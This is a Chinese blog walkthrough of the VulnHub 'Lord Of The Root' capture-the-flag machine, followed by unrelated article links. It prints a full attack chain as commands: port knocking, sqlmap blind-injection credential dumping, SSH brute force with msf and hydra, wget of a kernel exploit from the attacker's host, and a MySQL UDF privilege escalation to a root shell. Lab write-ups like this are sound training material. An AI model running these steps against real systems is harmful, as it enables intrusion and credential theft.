Lord Of The Root: 1.0.1实战
前言
Description:我创建这台机器是为了帮助其他人学习一些基本的CTF黑客策略和一些工具。我瞄准了这台机器,使其在难度上与我在OSCP上破解的机器非常相似。
这是一个引导到根计算机将不需要任何来宾交互。
有两种设计的权限提升方法。
靶机环境
kali 192.168.31.153
Lord Of the root 192.168.31.161
靶机地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/
实战
信息收集
首先对靶机存活探测,端口碰撞,web页面枚举
端口碰撞:
端口试探(pork knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法
一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机
端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击
端口试探类似于一次密码握手协议,比如一种最基本的方式:发送一定序列的udp tcp数据包
当运行在主机上的daemon程序捕捉到数据包之后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过
由于对外的linux服务器通过限制ip地址的方式来控制访问,因此可以利用这个端口试探的方式来进行防火墙对于访问ip控制
nmap探测
使用nmap探测存活主机和对主机进行详细扫描
nmap 192.168.31.0/24 //探测存活主机
nmap 192.168.31.161 -sV -p- -O -A //扫描版本信息,全端口,操作系统,详细信息


仅仅发现了一个ssh的22端口,尝试使用ssh远程登录
ssh ssh@192.168.31.161

发现了一个提示,Easy as 1,2,3,是一个端口碰撞,碰撞序列为1,2,3(端口碰撞要求知道碰撞序列)
端口碰撞
在这里使用kali的knockd工具,进行端口碰撞,如果没有安装konckd按照以下命令执行(如果没有更新包可以更换更新apt源进行下载安装)
apt install knockd apt安装knockd
man knock //查看可用参数
knock 192.168.31.161 1 2 3 -v //开始端口碰撞,-v输出状态信息

看到以上页面说明碰撞成功,再次使用nmap查看开启的端口信息

web页面枚举
查看到http端口1337,在kali的浏览器访问http://192.168.31.161:1337

使用目录扫描工具dirsearch枚举页面信息
python3 dirsearch.py -u http://192.168.31.161:1337/ -e*

拿到了两个web页面,一个是404.html 还有一个是/images/和初始访问页面,分别访问并查看页面源码
/images/页面及其页面源码如下:


初始访问页面源码:

发现以上源码除了图片就是图片,只能把宝压在404页面
404.html页面及其源码:

发现了一串base64编码,使用burp的decoder模块反base64编码,

发现又是一层base64编码,继续编码一次

得到了一个文件路径,浏览器访问http://192.168.31.161/978345210/index.php

发现是一个登录页面,使用弱口令尝试并没有成功,一般登录界面除了弱口令,还有就是SQL注入,我们把枪口转到SQL注入
渗透
对页面进行简单的闭合,发现并没有任何回显后,转而使用sqlmap简单扫一下,查看是否有注入点
SQL注入--sqlmap--时间盲注
爆库
sqlmap -u "http://192.168.31.161:1337/978345210/index.php" --forms -dbs --batch
--forms //post注入参数
--dbs //爆出当前系统所有数据库
--batch //自动选择选项扫描
-u //后面跟url链接


发现使用了时间盲注,并且爆出了当前数据库是Webapp
爆表
接下来使用获取到的Webapp库爆表
sqlmap -u "http://192.168.31.161:1337/978345210/index.php" --forms -D Webapp --tables --batch --technique T
--technique T //使用的是时间盲注技术
-D Webapp //使用数据库Webapp进行注入
--tables //爆出所有表


得到一个Users表
爆字段
再使用Users表爆字段
sqlmap -u "http://192.168.31.161:1337/978345210/index.php" --forms -D Webapp -T Users --columns --batch --technique T
--columns //爆出所有字段


爆数据
sqlmap -u "http://192.168.31.161:1337/978345210/index.php" --forms -D Webapp -T Users -C id,password,username --dump --batch --technique T


暴力破解拿shell
拿到用户和密码,可以尝试去web界面登录,我这里登录后发现没有什么线索,直接跳过来到爆破ssh,爆破ssh可以使用以下两种方法,msf的auxiliary/scanner/ssh/ssh_login和hydra爆破
将用户和密码分别存储在Users.txt和Password.txt
MSF爆破拿shell
msfconsole
search ssh_login
use 0或者use auxiliary/scanner/ssh/ssh_login
show options
set rhost 192.168.31.161
set user_file Users.txt
set pass_file Password.txt
exploit



从结果可知用户和密码分别是smeagol/MyPreciousR00t
hydra爆破
hydra -L Users.txt -P Password.txt 192.168.31.161 -s 22 ssh

同样也是拿到一样的用户和密码,两种方法二选一即可
后渗透
获取到ssh的用户密码,登录后台拿shell
ssh smeagol@192.168.31.161
MyPreciousR00t

提权
查看内核版本
cat /proc/version

发现是linux 3.19.0 ubuntu 14.04
内核提权
在浏览器查看到14.04有内核提权漏洞
使用searchsploit查看kali自带归档的提权脚本
searchsploit linux ubuntu 14.04 Privilege Escalation
//有跟着Privilege Escalation字样都是可用于提权的脚本

本次使用的脚本是39166.c,复制出来,查看用法
find / -name 39166.c
cp /usr/share/exploitdb/exploits/linux/local/39166.c /root/39166.c
cat 39166.c


脚本中是直接使用exp进行提权,说明我们要将c脚本用gcc进行编译再执行
在此之前,先查看靶机后台可写入有哪些文件夹
find / -writable 2>/dev/null
以下只截一部分

可以看到/tmp或者/var/tmp的临时文件夹都能写入,在kali使用python开启http服务,将提权脚本传至/tmp或者/var/tmp文件夹
kali:
python3 -m http.server 8989
靶机:
cd /tmp //进入tmp文件夹
wget http://192.168.31.153:8989/39166.c //下载39166.c
ls //查看
gcc 39166.c -o overlays //编译39166.c为overlays
chmod +x overlays //赋予执行权限
./overlays //执行获取root
id //查看权限
cd /root //进入root目录
cat Flag.txt //查看flag


到此提权成功,以下是其他几种方法
Mysql UDF sys_exec sys_eval提权
这是第二种方法,mysql的udf提权
udf提权的条件:
root 权限运行mysql
在mysql 5.5 之前secure_file_priv 默认是空,这个情况下可以像任意路径写文件
在mysql 5.5 之后 secure_file_priv 默认是NULL 这个情况下不可以写文件
udf.dll文件必须防止在mysql安装目录的lib\plugin文件下才可以创建自定义函数
使用udf在系统将find命令写入权限
首先查看mysql版本和是否运行
dpkg -l | grep mysql

mysql版本是5.5,其次就是查找登录mysql的用户密码,一般都在搭建的web页面下,去/var/www/978345210下查看,发现mysql相关配置信息在login.php能看到用户和密码,root/darkshadow

利用mysql用户密码登录,并查看是否能够提权
mysql -u root -pdarkshadow
show databases;
use mysql;
show global variables like 'secure%'; //查看secure_file_priv是否为空

发现secure_file_priv为空,可写入文件路径权限
接下来就利用kali自带的udf创建函数用于写入权限,本次使用lib_mysqludf_sys_32.so
locate lib_mysqludf_sys //查看本地udf
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so /root/udf.so //将lib_mysqludf_sys_32.so复制到/root下操作
du udf.so //查看大小方便后面使用不同的二进制类型

从前面已经知道/tmp和/var/tmp有写入权限,就将udf.so下载到/tmp或者/var/tmp路径下
cd /tmp
wget http://192.168.31.153:8989/udf.so

重新进入mysql开始创建函数
use mysql; //使用mysql数据库
create table udf(line blob); //创建udf表,用于存放本地传来的udf文件的内容.
insert into udf values(load_file('/tmp/udf.so'));//在表中写入udf文件内容
select * from udf into dumpfile'/usr/lib/mysql/plugin/udf.so'; //将udf文件内容传入新建的udf.so文件中,路径根据自己的文件路径修改
create function sys_eval returns string soname 'udf.so'; //创建自定义函数
select * from mysql.func; //查看函数
select sys_eval('chmod u+x /usr/bin/find'); //调用sys_eval函数来给find命令所有者的suid权限,使其可以执行root命令
quit
注:下图作为参考,权限我已经写入,仅仅展示命令成功的界面

find / -exec '/bin/sh' \;
whoami
cd /root
cat Flag.txt


总结
1.信息收集:(1)nmap挖掘信息 (2)端口碰撞 (3)web页面信息枚举
2.渗透: (1)SQL注入--sqlmap(爆库,爆表,爆字段,爆数据) (2)暴力破解获取webshell
3.后渗透: (1)提权(内核提权,Mysql udf sys_eval sys_exec提权)(2)缓冲区溢出(文件化随机绕过,绕过ASLR,pwndbg分析,forr循环Nop,环字符查询,shellcode编写,bash编写脚本,小技巧objdump、vmmap、checksec、Jmp)

Lord Of The Root: 1.0.1实战的更多相关文章
- 前后端分离之vue2.0+webpack2 实战项目 -- webpack介绍
webpack的一点介绍 Webpack 把任何一个文件都看成一个模块,模块间可以互相依赖(require or import),webpack 的功能是把相互依赖的文件打包在一起.webpack 本 ...
- vue2.0与实战开发
慕课网实战 百度云 web前端实战: Node.js入门到企业Web开发中的应用 Web前端性能优化 让你的页面飞起来 前端跳槽面试必备技巧 前端JavaScript面试技巧全套 node.JS 线上 ...
- (28000): Access denied for user 'root'@'127.0.0.1' (using password: YES)
在一台测试服务器测试Python脚本时,执行Python脚本时报如下错误: 主要错误信息为"operation the sql fail!1045 (28000): Access den ...
- Asp.Net Core 2.0 项目实战(10) 基于cookie登录授权认证并实现前台会员、后台管理员同时登录
1.登录的实现 登录功能实现起来有哪些常用的方式,大家首先想到的肯定是cookie或session或cookie+session,当然还有其他模式,今天主要探讨一下在Asp.net core 2.0下 ...
- Asp.Net Core 2.0 项目实战(11) 基于OnActionExecuting全局过滤器,页面操作权限过滤控制到按钮级
1.权限管理 权限管理的基本定义:百度百科. 基于<Asp.Net Core 2.0 项目实战(10) 基于cookie登录授权认证并实现前台会员.后台管理员同时登录>我们做过了登录认证, ...
- Asp.Net Core 2.0 项目实战(9) 日志记录,基于Nlog或Microsoft.Extensions.Logging的实现及调用实例
本文目录 1. Net下日志记录 2. NLog的使用 2.1 添加nuget引用NLog.Web.AspNetCore 2.2 配置文件设置 2.3 依赖配置及调用 ...
- Asp.Net Core 2.0 项目实战(8)Core下缓存操作、序列化操作、JSON操作等Helper集合类
本文目录 1. 前沿 2.CacheHelper基于Microsoft.Extensions.Caching.Memory封装 3.XmlHelper快速操作xml文档 4.Serializatio ...
- Asp.Net Core 2.0 项目实战(7)MD5加密、AES&DES对称加解密
本文目录 1. 摘要 2. MD5加密封装 3. AES的加密.解密 4. DES加密/解密 5. 总结 1. 摘要 C#中常用的一些加密和解密方案,如:md5加密.RSA加密与解密和DES加密等, ...
- Asp.Net Core 2.0 项目实战(6)Redis配置、封装帮助类RedisHelper及使用实例
本文目录 1. 摘要 2. Redis配置 3. RedisHelper 4.使用实例 5. 总结 1. 摘要 由于內存存取速度远高于磁盘读取的特性,为了程序效率提高性能,通常会把常用的不常变动的数 ...
- net core体系-web应用程序-4asp.net core2.0 项目实战(1)-13基于OnActionExecuting全局过滤器,页面操作权限过滤控制到按钮级
1.权限管理 权限管理的基本定义:百度百科. 基于<Asp.Net Core 2.0 项目实战(10) 基于cookie登录授权认证并实现前台会员.后台管理员同时登录>我们做过了登录认证, ...
随机推荐
- kali linux 基本渗透测试流程
渗透测试流程 1. 信息收集阶段 网络拓扑结构分析 使用nmap扫描目标网络,获取目标主机IP地址和开放端口信息 使用whois查询目标域名的注册信息和DNS服务器信息 使用nslookup查询目标域 ...
- windows安装zabbix错误代码
zabbix安装:windows安装zabbix客户端很多坑,设计到很多问题,常见的问题有安装完成防火墙没有关闭,zabbix服务端接收不到客户端的信息.zabbix在cmd中安装的时候报错误代码,安 ...
- 【Java SE】IO流
1.File类 ①File类的一个对象代表一个文件或一个文件目录 ②File类声明在java.io下 1.1 FIle类的声明 路径分隔符 Windows和DOS系统默认使用'',UNIX和URL使用 ...
- nginx自定义负载均衡及根据cpu运行自定义负载均衡
转载请注明出处: 1.nginx如何自定义负载均衡 在Nginx中,可以通过配置文件自定义负载均衡策略.具体步骤如下: 首先,在Nginx配置文件中定义一个upstream模块,并设置负载均衡策略和后 ...
- Appuploader证书申请教程
转载:http://kxdang.com/topic/appuploader/certification.html IOS证书制作教程 点击苹果证书 按钮 点击新增 输入证书密码,名称 这个密码不是账 ...
- 深度学习--魔法类nn.Module
深度学习--魔法类nn.Module 作用 pytorch 封装了一些基本的网络类,可以直接调用 好处: 可以直接调用现有的类 容器机制:self.net = nn.Sequential() 参数返回 ...
- 牛客网:华为机试题(python版本)
输入一行:input() 输入的一行有多个信息:input().split() 有多组测试用例(多组同时输入): while true try except... 1.计算字符串最后一个单词的长度,单 ...
- 安装scss版本号(不报错)
npm install sass-loader@8.0.2 node-sass@4.14.1
- 2022-12-17:订单最多的客户。以下数据,结果输出3。请问sql语句如何写? DROP TABLE IF EXISTS `orders`; CREATE TABLE `orders` ( `
2022-12-17:订单最多的客户.以下数据,结果输出3.请问sql语句如何写? DROP TABLE IF EXISTS `orders`; CREATE TABLE `orders` ( `or ...
- 2021-02-18:给定一个字符串str,给定一个字符串类型的数组arr,出现的字符都是小写英文。arr每一个字符串,代表一张贴纸,你可以把单个字符剪开使用,目的是拼出str来。返回需要至少多少张贴纸可以完成这个任务。例子:str= "babac",arr = {"ba","c","abcd"}。a + ba + c 3 abcd + abcd 2 abcd+ba 2。所以返回2。
2021-02-18:给定一个字符串str,给定一个字符串类型的数组arr,出现的字符都是小写英文.arr每一个字符串,代表一张贴纸,你可以把单个字符剪开使用,目的是拼出str来.返回需要至少多少张贴 ...